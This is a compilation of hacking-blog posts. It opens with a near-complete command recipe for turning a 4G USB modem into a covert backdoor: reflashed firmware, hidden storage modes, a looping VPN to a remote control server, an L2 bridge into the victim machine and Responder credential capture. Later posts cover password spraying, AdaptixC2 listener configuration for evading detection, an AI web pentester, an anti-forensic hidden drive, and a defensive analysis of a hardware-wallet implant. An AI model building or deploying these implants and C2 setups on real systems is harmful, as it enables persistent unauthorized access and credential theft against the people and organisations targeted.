Welcome back, aspiring cyberwarriors!

Previously, we had a few articles showing what crafty hackers can do to attack your system with a USB drive. Today we’ll cover yet another approach they might take, turning a USB modem into a persistence mechanism. As always, we’ll discuss practical ways to protect yourself from it.

When hackers have physical access to a potential victim’s computer, they aren’t limited to one-time actions. With just a few minutes, they can establish a persistent communication channel that continues to function long after they’ve walked away. This can be achieved using a regular USB modem that’s been slightly modified in advance.

Modern 4G USB modems, especially those based on the HiLink architecture, are more powerful than they appear. Although they look like slightly oversized flash drives, they’re small computers running a full operating system. Many of these devices run embedded Linux environments, sometimes alongside other systems such as VxWorks for handling GSM communication. These modems are autonomous. They’re powered directly through USB, they boot within seconds, and they present themselves to the host computer as a network interface.

A popular example is the Huawei E3372h-153. It has strong community support, accepts modified firmware, and includes everything needed to build an independent communication channel. When you connect this thing, it behaves like a virtual Ethernet adapter. To the OS it looks like just another network card. But inside that modem you have a full system capable of running scripts, managing connections, and interacting with the host machine. The computer believes it’s simply using a network interface, while the modem itself can communicate with external infrastructure over the mobile network. Unlike traditional implants, this one doesn’t depend on the victim’s internal network at all.

There are commercially available tools designed for similar purposes (LAN Turtle), but they typically rely on existing network connectivity. They don’t have an independent 4G communication channel.

Implementation

From an engineering perspective, the device is already almost perfect. It draws power directly from USB and uses its own 4G connection, so it will communicate even in isolated environments. 

To unlock its potential, we will need to modify the firmware. After reflashing, the internal operating system will automatically establish a VPN connection to a remote control server using the mobile network.

The first step is gaining access to the modem’s internal system. You can do it using Telnet or ADB:

kali > telnet 192.168.8.1
kali > adb connect 192.168.8.1:5555

Then we need to enable debugging features to configure things:

modem > curl http://192.168.8.1/html/switchDebugMode.html
modem > minicom -D /dev/ttyUSB0

With debug mode enabled, the firmware can be replaced:

modem > at^godload # Enter firmware mode. The modem will reboot
modem > sudo ./balong_flash -p /dev/ttyUSB0 E3372h-153_Update_22.200.15.00.
00_M_AT_05.10_nv.exe

After rebooting, the modem usually presents itself as multiple devices, including a virtual CD-ROM and storage. These features are unnecessary and may reveal the device’s presence, so they should be disabled:

modem > AT^NVWREX=50091,0,60,1 0 0 0 FF 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 A3
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 # Disable CD-ROM mode on startup, enable RNDIS/CDC
AT^RESET # Reboot

Next comes a subtle but important adjustment. The DHCP configuration is modified so the modem does not present itself as a gateway. This helps avoid interfering with the host system’s routing behavior and keeps the device less noticeable:

modem > cat <<EE > /data/config
Interface br0
MinLease 30
Vendorid c0012
Address main
EnbSrv 1
Start 192.168.8.100
End 192.168.8.200
Option lease 86400
Option subnet 255.255.255.0
Address main end
EE

The config file will look like this: 

To establish remote control, an OpenVPN client is installed directly on the modem. Precompiled binaries are here.

Here is how:

modem > adb push tun.ko /online/ovpn/
modem > adb push openvpn /online/ovpn/
modem > adb push vds.ovpn /online/ovpn/
modem > cat <<EE > /data/vpn.sh
#!/system/bin/busybox sh
while :; do /online/ovpn/openvpn --config /online/ovpn/vds.ovpn
--route-noexec; done
EE
modem > chmod 700 /data/vpn.sh

modem > busybox passwd

modem > reboot

The VPN runs in a continuous loop, so even if the connection drops, it won’t be a problem. Finally, autorun scripts and routing rules are configured so that traffic flows correctly between the 4G network and the target machine:

modem > mount -o remount,rw /dev/block/mtdblock16

modem > cat <<EE >> /system/etc/autorun.sh
/data/autorun.sh &
EE

modem > cat <<EE > /data/autorun.sh
#!/system/bin/busybox sh
killall dhcps.real
cp /data/config /var/dhcp/dhcps/config
dhcps.real &
sleep 5
insmod /online/ovpn/tun.ko
/data/vpn.sh &
iptables -t nat -A POSTROUTING -o br0 -s 172.16.0.0/24 -j MASQUERADE
iptables -I INPUT 1 -i br0 -p tcp --dport 80 -j DROP
iptables -I FORWARD 2 -i br0 -o wan0 -j DROP
EE

modem > chmod 700 /data/autorun.sh

The autorun script should look like this:

At this point, the modem has become a self-contained communication bridge.

Persistence

When deployed, the hardware backdoor does not look impressive. That is its strength. It resembles a slightly larger USB flash drive.

Because the device uses a mobile network, it does not rely on the internal infrastructure of the organization. Even if the local network has no internet access, the modem maintains a stable connection to the outside world.

Hackers can connect to the same VPN server from another device, linking themselves to the compromised machine. The modem forwards traffic in a reverse direction being a gateway into the target system.

L2 Access

This method of persistence provides network access only to the machine the modem is connected to. To make attacking the target system easier, it may be necessary to establish an L2VPN tunnel that is closer to the target. This requires creating another VPN tunnel inside the existing one. If the first VPN is used solely for communication with the device lan_turtle, the second one provides the maximum possible network access to the computer through the USB-emulated network. 

To achieve this, we need to run a few commands inside the USB modem. These commands will create a VPN tunnel and place the newly created virtual interface into a network bridge together with the USB interface. Inside the modem run these commands:

modem > ./openvpn --config l2.ovpn --route-noexec
modem > brctl addif br0 tap1
modem > ifconfig tap1 0

Here is an example of the l2.ovpn file:

The L2VPN interface will have an IP address, which is not actually needed since OpenVPN is already running. It can be reset, after which the interface can simply be added to the bridge. As a result, L2 packets from the compromised machine will flow into the VPN interface. This means the hacker doesn’t just gain logical network access to the target PC, but they will see it as if they were directly plugged into it with a regular Ethernet cable.

On the hacker’s side, it is only necessary to connect to the modem and establish a VPN tunnel, then manually assign it an IP address from the subnet of the victim computer’s network adapter:

kali > sudo openvpn --config lan_turtle.ovpn --route-noexec
kali > sudo ifconfig tap0 192.168.8.200/24

The configuration file for connecting to lan_turtle to establish an L2VPN tunnel is lan_turtle.ovpn and it looks like this:

With this setup, the hacker gains direct access to the internal network. Responder can then be used to capture auth data:

kali > responder -I tap0 -d -w -F

Defense

Although the technique is technically sophisticated, you only need physical USB access. Because of that, defensive strategies are simple.

Organizations should treat USB ports as sensitive interfaces. Restricting unknown devices, disabling USB-based network adapters through system policies, and regularly inspecting machines can help you reduce risk. Just as importantly, physical access must be controlled. Even the most advanced software defenses cannot protect a system if someone is allowed to plug in their own hardware.

Summary

The Huawei E3372h-153 and similar devices can be used for persistence, using their own mobile data connection to maintain remote access independent of the victim’s network. Modified modems can automatically set up VPN tunnels and persistently reconnect, which creates a backdoor into the system even after they leave.

If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.

The post Social Engineering: Modem-Based Persistence in a Compromised Environment first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Recently a new project was released by Praetorian. Praetorian is open-sourcing the offensive tools their red team actually uses on engagements. They call it 12 Caesars and their team is planning to release one tool a week for twelve weeks. Every tool is written in Go and ships as a single binary with zero external dependencies.

Each tool is assigned a Caesar name and a blog post, where you can learn more about these tools.

We’ll look at four of these tools, including the basic ones, to make this article suitable for everyone. Before we proceed, it’s important to remind you that you can only test systems you own or have explicit written authorization to test. We will use our lab for it.

Titus

Our first tool is Titus. Titus finds credentials, API keys, and tokens in source code, files, git history, container images, and more. The tool has 487 detection rules covering AWS, GCP, Azure, GitHub, Slack, databases and hundreds of other services. Similar to TruffleHog, it can validate credentials as it finds them by calling the provider APIs.

It’s also available as a Burp Suite extension and a Chrome extension.

kali > curl -sL -o titus https://github.com/praetorian-inc/titus/releases/latest/download/titus-linux-amd64
kali > chmod 777 titus
kali > ./titus --help

Let’s start by pointing it at test keys released by Truffle Security.

It found all the keys in the repo. Companies often publish their secrets by accident. Some live in the repositories for years, so it’s good to do regular checks to prevent unnecessary leakage.

Nerva

Nerva is a fingerprinter supporting 170 protocols across TCP, UDP, and SCTP, plus dozens of HTTP technology fingerprinters. You can feed it with open ports from naabu, nmap or other tools and it’ll tell you what’s actually running with its version.

kali > curl -sL -o nerva.tar.gz https://github.com/praetorian-inc/nerva/releases/download/v1.70.3/nerva_1.70.3_linux_amd64.tar.gz
kali > tar --no-same-owner -xzf nerva.tar.gz
kali > chmod 777 nerva
kali > ./nerva --help

Now let’s use our Ubuntu to show a basic test.

kali > ./nerva -t 192.168.131.9:22,11434

It will be way more useful when you work with big lists of corporate assets during a pentest.

Brutus

Brutus is a modern Hydra alternative. It supports more than 40 protocols including SSH, RDP, MySQL, PostgreSQL and a lot more. Brutus was built to work with Nerva or naabu output.

kali > curl -sL -o brutus.tar.gz https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz
kali > tar --no-same-owner -xzf brutus.tar.gz
kali > chmod 777 brutus
kali > ./brutus --help     

Each command has its own help menu to make it easy to work with.

kali > ./brutus creds --help

Now once again lets use our Ubuntu to spay passwords. 

kali > ./brutus creds --target 127.0.0.1:22 --protocol ssh “admin:admin”

It was easy. As mentioned before, this tool chains with Nerva, and that’s how it becomes useful to test the entire infrastructure against common password and detection.

Julius

With AI services proliferating inside corporate environments, we want to know what LLM infrastructure is running on our hosts. Julius will fingerprint more than 60 AI services including Ollama, vLLM, LiteLLM, LocalAI, Hugging Face TGI, AWS Bedrock and AnythingLLM. It can also list available models from endpoints.

kali > curl -sL -o julius.tar.gz https://github.com/praetorian-inc/julius/releases/download/v1.5.1/julius_1.5.1_linux_amd64.tar.gz

kali > tar --no-same-owner -xzf julius.tar.gz
kali > ./julius --help

You can list all the AI services Julious can fingerprint: 

kali > ./julius list

We will take a look at our machine.

kali > ./julius probe http://192.168.131.7:11434

Ollama sits on port 11434, and it’s important not to leave it exposed publicly, because everyone can use your models without authentication.

Summary 

There are more tools available in this project. Most of them are meant to be chained together and work well this way. The company says its team is actively using these same tools during their engagements. While you won’t need everything at once, experiment with those tools and see what fits you best.

If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.

The post Pentesting: Twelve Caesars – Community Tools for Offensive Security first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

This is the second article in our AdaptixC2 series. Last time, we talked about how to install and set things up. Now, we’re going to dig into listeners. A listener is part of the C2 framework that waits for compromised hosts to connect back and handles the ongoing chat. Making listeners can be tricky, and there’s no one-size-fits-all solution, so red teamers need to understand which protocol to use and when to outsmart modern defenses. Therefore, in this article, we’ll cover how to create listeners in AdaptixC2 and the types available. Let’s get rolling!

Generating and Configuring Listeners

To access Listeners, click the Adaptix tab with the headset icon.

Once you’re in the Listeners tab, right-click on the console pane and choose “Create.” You’ll see a window pop up like this:

These listeners are important; without them, nothing happens. They’re the first step in what you want to accomplish in a red team engagement. Here’s a quick rundown of what each part does:

Name is just a label for your listener.

Profile lets you pick or save a settings profile, so you don’t have to input everything from scratch each time.

Protocol tells you how your listener connects, and it’s set to “any” for now, but common options include stuff like HTTP, DNS, SMB, and TCP. This is how the agents, or “beacons,” communicate with the C2 server.

Config is where you choose the type of listener module. If you see “BeaconDNS,” that means it’ll use DNS for the beacon traffic. Adaptix also offers other types like Beacon HTTP, Beacon SMB, Beacon TCP, and Gopher TCP.

Host & Port (Bind) lets you set the IP address and port the listener binds to on the C2 server. It’s usually set to 0.0.0.0 by default, but you can select a specific network adapter.

Authoritative Domain(s) refers to the domain names your server is the boss of. Compromised hosts, or beacons, will send DNS queries for subdomains under this domain, and since the C2 server is the main nameserver, those queries will point to it.

Max Payload (bytes) indicates the biggest chunk of data you can cram into a single DNS request or response.

DNS TTL (seconds) sets how long DNS responses hang around in caches, telling them how long to remember the answer.

Encryption Key is used to encrypt the beacon’s traffic or payload.

Enable Burst Mode turns on a feature where the beacon sends multiple quick queries in bursts instead of one by one, which can speed up data exfiltration.

Burst Sleep (ms) is how long the beacon pauses between queries in a burst.

Burst Jitter (%) adds randomness to the wait time between queries, so the traffic doesn’t look too regular and helps avoid timing-based detection.

Once you fill in all those fields, click Create.

Let’s move on to the more popular listener, the HTTP listener. It has way more attributes than the others. It looks like the one below.

In the main settings, we’ve got some new options to play with:

Callback addresses are the external IPs or domains (with ports) embedded in the beacon payload, letting compromised hosts know where to connect back. This can be different from the bind address, especially if you’re using a redirector. Redirectors are handy, and Adaptix lets you put in multiple combinations of IPs and ports. When a compromised host tries to connect, it first goes to the redirector, which checks if it’s allowed to access the C2 server. For more on redirectors, check out Major Smouk’s article.

For demo purposes, since we’re not using redirectors for now, we can just put in our own host’s IP in that field.

Method allows you to choose the HTTP method (GET/POST) that beacons will use to send requests/check-ins to the server.

URIs is where you list URL paths that the beacon will randomly choose from when making requests, like /api/v1/status or /updates/check.php.

User-Agents lets the beacon rotate through different browser User-Agent strings in its HTTP headers.

Heartbeat Header is a custom HTTP header (like X-Beacon-Id) that carries the beacon’s identifier/session token during each check-in, helping the server identify which compromised host is reaching out.

Use SSL (HTTPS) is a toggle for whether the listener wraps traffic in TLS. If you turn it on, you can either provide your own certificate/key (like simulating a real site’s cert) or let Adaptix automatically generate a self-signed one.

We also have some extra tabs with settings:

HTTP Headers lets you add custom request/response headers to mimic legitimate traffic further or hide data.

Page Error configures what the server shows to regular visitors or scanners that hit the listener.

Page Payload lets you set up a legit-looking webpage/response for certain paths, which is often used to host the stager/payload for initial access or make the server look like a harmless website.

That sums up what we need to set up HTTP listeners. Now, let’s dive into BeaconSMB!

In this section, we need to focus on the pipe name. The pipe name is simply what the Windows named pipe will be called. The listener sets it up and waits for connections. A named pipe on Windows acts as a communication channel. It’s named something like \\.\pipe\somename. When a compromised host wants to connect, the SMB beacon reaches out to this pipe by name to create the C2 channel. That wraps up our talk about Beacon SMB.

Now, let’s move on to Beacon TCP.

The screenshot above shows how to set up a BeaconTCP listener, which is straightforward and requires only three fields.

First is the bind port, the TCP port the listener opens on the compromised host to act as the relay.

Next, there’s the prepend data. This is a set of bytes like \x12\xab that gets added to the start of every TCP communication. This trick is all about traffic obfuscation. By starting with a specific byte pattern, the TCP stream looks less like your typical C2 traffic. It can mimic the handshake or header of a known protocol, making it harder for network monitoring tools to flag the beacon as suspicious.

Lastly, the encryption key works the same way as it does with the other listeners.

And finally, don’t forget about the Gopher TCP listener.

We’ve already checked out a lot of options before, but here’s what’s new for us:

The TCP banner is just some text sent out to anything connecting to the port before the beacon handshake goes down. It currently says “AdaptixC2 server,” but in a real scenario, you’d want to swap it for something more innocuous or something that resembles a legit service.

The error answer is what gets sent back if a connection fails or is rejected.

The big one here is adding mTLS. That stands for mutual TLS, which means both the server and the connecting beacon prove who they are to each other using certificates, not just the server showing its identity like in regular TLS. This is a major security boost because only beacons with the right client certificate can connect to the listener. So, even if someone figures out the C2 address and port, they can’t interact or pretend to be a beacon without that certificate. The setup includes fields for the CA cert, server key, server cert, client key, and client cert to enable mutual authentication.

After setting up all the different listeners, we’ll see the following picture.

We need to recognize two types of listeners: internal and external. An external listener connects to the public internet and is what the first hacked device calls back to, going through the firewall. It usually uses protocols like HTTP, HTTPS, or DNS because those are often allowed out and blend in with regular traffic. Sometimes, it’s even hidden behind a redirector or CDN to mask the actual control server’s IP address.

On the flip side, an internal listener is what you use once you’re already in the network. It helps with moving sideways between compromised devices that usually don’t have internet access. This one relies on LAN-only protocols, like SMB named pipes or raw TCP, allowing beacons to communicate and send traffic back through the first hacked device to the external listener.

Summary

In this article, we dove into how to set up listeners in AdaptixC2. We went through all the different types of listeners and their configuration options so you can jump right into using Adaptix after checking this out.

Keep an eye out for our upcoming articles as we continue exploring command and control frameworks. If you found this information helpful, you might want to check out our Hacking Infrastructure course. Also, consider joining our community by signing up for Subscriber PRO.

The post Adaptix C2 Architecture: Configuring Command & Control Listeners first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors! 

We’re continuing our series on Artificial Intelligence in Cybersecurity with another tool called Shannon. Shannon is a white-box AI pentester. It was created to test the security of your project by pointing it at the source code and the test stand. That means it needs both the running application and the source code. First, Shannon does an in-depth analysis of the code in the repository, then looks for attacks against that same project you’re hosting locally. This white-box approach is certainly more effective, as models don’t have to guess possible vulnerabilities, since guessing varies greatly depending on the model you use. Vulnerabilities can only make their way to the report if they have a working PoC. As always, only test systems you own or have explicit written authorization to test.

Now let’s take a closer look at Shannon and test our Juice Shop with it.

Setting Up

Juice Shop is just a Docker container, so we will install Docker and npm first.

kali > sudo apt update
kali > sudo apt install -y docker.io nodejs npm
kali > sudo systemctl enable docker --now
kali > sudo usermod -aG docker $USER
kali > newgrp docker

Then comes the Juice Shop.

kali > docker pull bkimminich/juice-shop
kali > docker run -d --name juice-shop --restart unless-stopped -p 3000:3000 bkimminich/juice-shop

It’s up and running. Now we need to copy the repository to our disk.

kali > git clone --depth 1 https://github.com/juice-shop/juice-shop.git

Once we have it all set, we can get Shannon. Unlike Pentestcode and other tools, Shannon runs differently. By default, it expects your AI API keys in the env. In the next sections we’ll show how to run Shannon with OpenRouter and Ollama.

OpenRouter

Shannon wants to see your API key in the env. You will also need a models.json file somewhere on your disk. Copy the following command to create it.

cat > ~/models.json << 'EOF'
{
  "providers": {
    "openrouter": {
      "apiKey": "YOUR_API_KEY",
      "models": [
        {
          "id": "nvidia/nemotron-3.5-lightning:free",
          "name": "NVIDIA Nemotron 3.5 Lightning (free)",
          "reasoning": true,
          "input": ["text"],
          "thinkingLevelMap": {
            "off": null,
            "minimal": null,
            "low": "low",
            "medium": null,
            "high": "high",
            "xhigh": null,
            "max": "max"
          },
          "contextWindow": 262144,
          "maxTokens": 65536,
          "cost": {
            "input": 0,
            "output": 0,
            "cacheRead": 0,
            "cacheWrite": 0
          },
          "compat": {
            "supportsDeveloperRole": false,
            "thinkingFormat": "openrouter"
          }
        }
      ],
      "api": "openai-completions",
      "baseUrl": "https://openrouter.ai/api/v1"
    }
  }
}
EOF

Then pass the keys and validate the setup.

kali > export SHANNON_AI_API_KEY="sk-or-v1-YOUR_KEY"
kali > export SHANNON_AI_MODEL="openrouter:nvidia/nemotron-3.5-lightning:free"

kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop --validate-model

If you see it’s validated, then you can run a full security analysis.

kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop -c ~/juice-quick.yaml --models-config ~/models.json --follow

This will take a while and your free daily tokens won’t be enough to complete the scan.

As the security test progresses, you’ll see all the commands and prompts it runs. Obviously, the frontier models will give better results.

Ollama

Shannon isn’t only limited to APIs. You can perform the same scan with a local model. Many openweight models will be a great fit for it if you have the necessary hardware to make it work smoothly.

Just for the demonstration we’ll use Qwen 2.5-coder 7b.

kali > curl -fsSL https://ollama.com/install.sh | sh
kali > ollama pull qwen2.5-coder:7b

We’ll create the same models.json file to point Shannon to our Ollama.

{
  "providers": {
    "ollama": {
      "baseUrl": "http://127.0.0.1:11434/v1",
      "api": "openai-completions",
      "apiKey": "ollama",
      "models": [
        {
          "id": "qwen2.5-coder:7b",
          "name": "Qwen 2.5 Coder 7B",
          "input": ["text"],
          "contextWindow": 32768,
          "maxTokens": 8192,
          "cost": { "input": 0, "output": 0 },
          "compat": {
            "supportsDeveloperRole": false,
            "supportsReasoningEffort": false
          }
        }
      ]
    }
  }
}

Make sure your Ollama is accessible, and change the IP address if needed.

kali > export SHANNON_AI_API_KEY=ollama
kali > export SHANNON_AI_MODEL=ollama:qwen2.5-coder:7b
kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop -c ~/juice-quick.yaml --models-config ~/models.json --validate-model

Before we do anything, let’s validate the model.

If your model has been validated and you can start scanning your project.

kali > kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop -c ~/juice-quick.yaml --models-config ~/models.json --follow

Reporting

When the scan finishes, Shannon creates PDF and Markdown reports with the evidence attached to them. You will also see structured JSON and SARIF files for downstream systems.

Below is an example of a PDF report. As you can see, multiple vulnerabilities were found in the project, some of them are classified as High. As mentioned before, all the findings here were validated with PoCs.

Summary

Shannon was made to find flaws in your web apps to make them more secure. It digs through the project repository and runs checks against a live system. It then creates a report with findings that were discovered with PoCs, so you get a clean report. As AI becomes more prevalent in cybersecurity, it should be used to improve the security of your projects before their release. Of course, that doesn’t replace a human in the loop, but it makes things faster. Stick to better models and don’t cut back on your security.

AI is evolving rapidly and the sooner you learn how to work with it, the greater the advantage you’ll have. That’s why we invite you to join our AI for Cybersecurity training. During this training, you will see you different ways of using AI in cybersecurity, set up local models and solve labs.

The post Artificial Intelligence (AI) in Cybersecurity, Part 30: Shannon – AI Pentester for Web Apps and APIs first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

You may know that privacy laws aren’t respected everywhere. In some places you can be forced to decrypt your files, or worse, get accused of a violation just for having encryption. A VeraCrypt hidden volume helps with the first problem but not the second. That’s why the project developer built Phantomdrive.

Phantomdrive is a fully open source USB drive that shows up as an 8GB disk when you plug it in. The OS has no way to detect the rest of the storage. To unlock the hidden partition, you open a text file on the visible part of the drive, type password: YOURPASSWORDHERE and save it. The drive disconnects, remounts the hidden partition, and AES-256 handles the encryption and decryption on the fly.

Design

The hardware, firmware, and mechanical design are all open source. The developer built it around a small chip called the CH569, from the same company behind the CH340 USB-to-Serial chip you’ll find on most Arduino clones. It has USB3, SD/eMMC support, and a hardware AES block built in.

eMMC was too expensive due to AI-driven demand, so the developer went with an SD card instead. If someone tears the device apart they’ll find it, but everything on it is encrypted. The enclosure is sealed with epoxy, so any attempt to get inside means destroying it first. Once eMMC prices drop, a version using it will follow.

The board itself is simple. It’s a CH569 chip, a USB port, two buck converters, a firmware update button, an SD card, and some supporting components.

Cryptography

The developer verified encryption works through functional tests and ran it against OpenSSL’s AES implementation. Most of the GitHub issues that surfaced were AI-generated noise or already fixed bugs, with one real exception around AES-XTS covered below.

Key Derivation

A Key Derivation Function (KDF) turns your password into an encryption key. The naive approach is padding the password to 32 bytes and using it directly.

That’s weak. A precomputed table could crack it without even brute forcing. To fix that, Phantomdrive adds a unique salt per device.

With different salts, an attacker has to compute keys for each device separately, and you can’t swap the SD card between devices. You can read your salt like this:

udevadm info --query=property --name=/dev/sdc | grep ID_SERIAL_SHORT
ID_SERIAL_SHORT=Phantomdrive:34FC1FA7145467F7

So, 34FC1FA7145467F7 is the salt for this device, which you will need to recover the data if it ever fails. Save that value. You can also change the Phantomdrive name and the USB PID/VID in firmware if you want more stealth. On top of the salt, the KDF runs 100,000 rounds of SHA-256.

That adds about 3 seconds to unlock time, which is already at the limit of what the chip can handle. Argon2 isn’t an option since it needs too much memory. If you need stronger security, you can increase the round count, use a software encryption layer on top, or look for a different device.

AES Modes

AES is a block cipher that works on 16-byte chunks. Different modes turn it into a stream cipher.

AES-ECB is the naive approach, encrypting each block directly. The problem is that identical plaintext blocks produce identical ciphertext blocks, which leaks patterns. Attackers can also manipulate the ciphertext in predictable ways. Not good.

AES-CTR solves this by encrypting a counter and XORing the output with plaintext.

uint64_t i = 0;
while(i < len(ciphertext)) {
    ctr = aes_encrypt(i);
    ciphertext[i] = plaintext[i] ^ ctr
    i++;
}

The main risk with CTR is nonce reuse. If an attacker copies your ciphertext twice and can guess one version, they can recover the other. The developer gets around 9 MB/s write and 20 MB/s read with AES-CTR.

AES-XTS is the disk encryption standard and uses two keys. K1 protects the data, K2 generates a tweak per sector. 

Each 16-byte block gets its own adjustment (T0, T1… Tn), then blocks are encrypted one by one to produce the final ciphertext. 

It’s more secure but slower, around 6 MB/s write and 10 MB/s read on this hardware.

Firmware

The firmware is built on two open source libraries:

BSP: https://github.com/hydrausb3/wch-ch56x-lib

ISP: https://github.com/hydrausb3/wch-ch56x-isp

Password Snooping

The device doesn’t understand file systems. It just handles raw USB WRITE10/READ10 commands and passes them to the SD card. To detect the unlock password, the firmware scans every write for the string password: before passing data through.

void phantomdrive_snoop_write(uint8_t *buf, uint32_t len)
{
    const char *prefix = "password:";
    const size_t prefix_len = 9;
    uint32_t i;

    for (i = 0; i + prefix_len <= len; i++) {
        if (buf[i] != 'p')
            continue;
        if (memcmp(buf + i, prefix, prefix_len) != 0)
            continue;

        size_t pw_start = i + prefix_len;
        size_t pw_end = pw_start;
        while (pw_end < len && (pw_end - pw_start) < sizeof(pending_pw) &&
               buf[pw_end] != '\n' && buf[pw_end] != '\r' && buf[pw_end] != '\0')
            pw_end++;

        size_t pw_len = pw_end - pw_start;

        memcpy(pending_pw, buf + pw_start, pw_len);
        pending_pw_len = pw_len;

        memset(buf + i, 0, pw_end - i);
        return;
    }
}

Once the password is found, it gets copied into RAM and the buffer gets zeroed out so the password never touches the disk. Keep in mind, if you store a lot of data on the unencrypted partition and any of it contains the string password:, you could get a false match. If that’s a concern, you can change the trigger string in firmware or look for a different approach.

Video

The developer has also published a video, if you want to get into details of this project. 

Summary

Phantomdrive is an open source USB drive that shows up as a plain 8GB disk while hiding the rest of its storage. You unlock the hidden partition by saving a password in a text file on the visible disk. The firmware catches it in the raw write traffic, keeps it in RAM, and never writes it to disk. Encryption is AES-256 on a CH569 chip, with a per-device salt and 100,000 SHA-256 rounds for key derivation. It’s limited by the hardware, so it’s weaker than memory-hard options like Argon2.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Building a Phantomdrive first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

October 2026 brought a clear demonstration that hardware wallets, while far safer than software alternatives, are not immune to sophisticated physical attacks. 

Beginning on 9 October, hundreds of users who had purchased Ledger devices through the Southeast Asian reseller CryptoBilis saw their funds drained across Bitcoin, Ethereum, TRON and other chains. On-chain researchers estimated losses between roughly $86 million and more than $100 million. Ledger confirmed that at least one affected device contained an unauthorized hardware implant and stated that every confirmed loss in the incident was linked to a device sold by CryptoBilis. The company has emphasized that its own infrastructure, firmware and direct sales channels were not compromised.

The Supply-Chain Attack

The attack was physical. Someone in the distribution chain opened genuine Ledger Nano X devices, installed a small circuit board and resealed them. The implant sits inside the enclosure under or behind the screen where foam padding normally rests, and taps the SPI bus that carries data from the Secure Element to the display. When the owner sets up the device and the screen shows the 24-word recovery phrase, the implant’s microcontroller recognizes those screens, reconstructs the words and sends them out over LTE using a provisioned eSIM and a small antenna. Because the original Secure Element remains untouched, the device continues to pass Ledger’s Genuine Check. Mark Karpelès and Tibane Labs have documented multiple generations of the implant, progressing from early versions with visible wires and a smaller battery to later flex-circuit designs that are harder to notice and sometimes keep the original battery.

Mark Karpelès publicly posted a photo of a unit that arrived from Malaysia with flawless packaging. The extra hardware only became visible when he opened the case.  

Similar implants have been reported in devices obtained through other channels, including Japanese marketplaces and at least one European store, although Ledger has so far tied every confirmed fund loss specifically to CryptoBilis purchases. 

The company has asked the reseller to halt sales and has advised recent buyers not to initialize unused devices. Those who already completed setup are told to move their assets to a new signer purchased directly from Ledger and initialized with a fresh seed phrase.

How to Buy a Hardware Wallet Safely

The single most effective protection is to purchase directly from the manufacturer’s own online store.

Authorized resellers are listed on the manufacturer’s website, yet CryptoBilis was also a partner that introduced modified units into the channel. Marketplace listings of third-party shops carry a much higher risk of both counterfeits and implants. 

Once the package arrives, you should confirm that a new device requires you to generate a recovery phrase yourself on first use. Any recovery phrase that’s already written on a card or printed in documentation belongs to someone else and should never be used. The phrase must appear only on the device’s own screen and you must write it down yourself on paper or metal. Never type it into a computer or phone, don’t use websites or applications with it. 

Below you can see a photo of the hardwallet owner signing a transaction inside the faraday cage to avoid any interference and possible theft.

Check Your Wallet   

The first question is the source of the device. Anyone who bought a Ledger from CryptoBilis or another untrusted reseller in recent months should treat the unit as unsafe.  Genuine Check is still worth running because it confirms that the Secure Element is original and the firmware is approved, yet it can’t detect added circuitry that merely listens to the screen. 

You can also visually inspect the case for extra wires or antennas that can reveal tampering, but modern implants are designed to be inconspicuous and reliable detection usually requires opening the device. After a wallet is set up, compare receiving addresses shown on the device screen against those displayed in the companion application and review transaction history on block explorers for unexpected outgoing transfers. The recovery phrase must be generated by the device under your direct observation and written down only by you.

Mark Karpelès also has a few videos on opening and closing Ledger wallets that you might find helpful.

What to Do If You Suspect Compromise

If a device was purchased from CryptoBilis or any other questionable source and has already been initialized, the existing recovery phrase should be treated as compromised. Move your assets to a new wallet whose seed was generated on a trusted device bought directly from the manufacturer. Never reuse the old seed for any purpose.

More Recommendations

A BIP-39 passphrase adds a meaningful layer of protection because it isn’t displayed during ordinary setup and must be known in addition to the seed. It’s also known as passphrase (the extra “25th word”). It’s optional and you may choose it later. It is not generated or displayed by the device during ordinary setup. Adding it creates a hidden wallet, which means you have completely different keys and addresses. 

For larger holdings use a multisignature arrangement to reduce reliance on any single device. Always check the address where you send your money to, as it can often be replaced by malware or bots making small transactions with similar addresses to mislead you into sending money to this similar address. 

Hardware wallets still provide strong protection against the majority of remote thefts precisely because private keys never leave the Secure Element and every transaction requires physical confirmation on the device itself. 

Summary

Hardware wallets can pass authenticity tests and still contain an implant capable of capturing the recovery phrase the moment it appears on screen. The best thing you can do is to buy devices only from the manufacturer, generate the seed yourself on the device and write it down offline. For anyone who recently purchased a device from a third party, the cost of generating a new seed and moving funds is far lower than the cost of discovering the compromise after the fact.

The post Cryptocurrency: Security Analysis of Hardware Crypto Wallets first appeared on Hackers Arise.

Welcome back, dear investigators!

Our main concern in cybersecurity is protecting systems and recovering from cyberattacks quickly. There are different tools out there built for this, and they keep evolving. Our job is to find what fits best in our environment and stick to the best practices laid out by NIST and ISO.

Today we’ll look at Live-Forensicator, a live response toolkit. The tool supports AI integration to process your findings more efficiently, which is a good thing since many of you know how tedious forensic analysis work can be. It’s optional though, and you can always rely on your own knowledge to verify findings.

Setting Up

Let’s download the archive with scripts and see what’s inside. You can find it here.

Live-Forensicator works on Windows, Linux, and macOS. We’ll be testing it on Windows here. Keep in mind, the tool gets flagged by AV because WinPmem, admin PS, and hash walks look suspicious. Use it only if you think it’s appropriate for your environment, or fall back to other tools since we’ve covered many of them on our website.

PS > powershell -ep bypass Forensicator.ps1 -USAGE

Running Scans

Let’s start with some general scans.

You can launch it without any flags and the tool will ask for details after you start it.

PS > .\Forensicator.ps1 

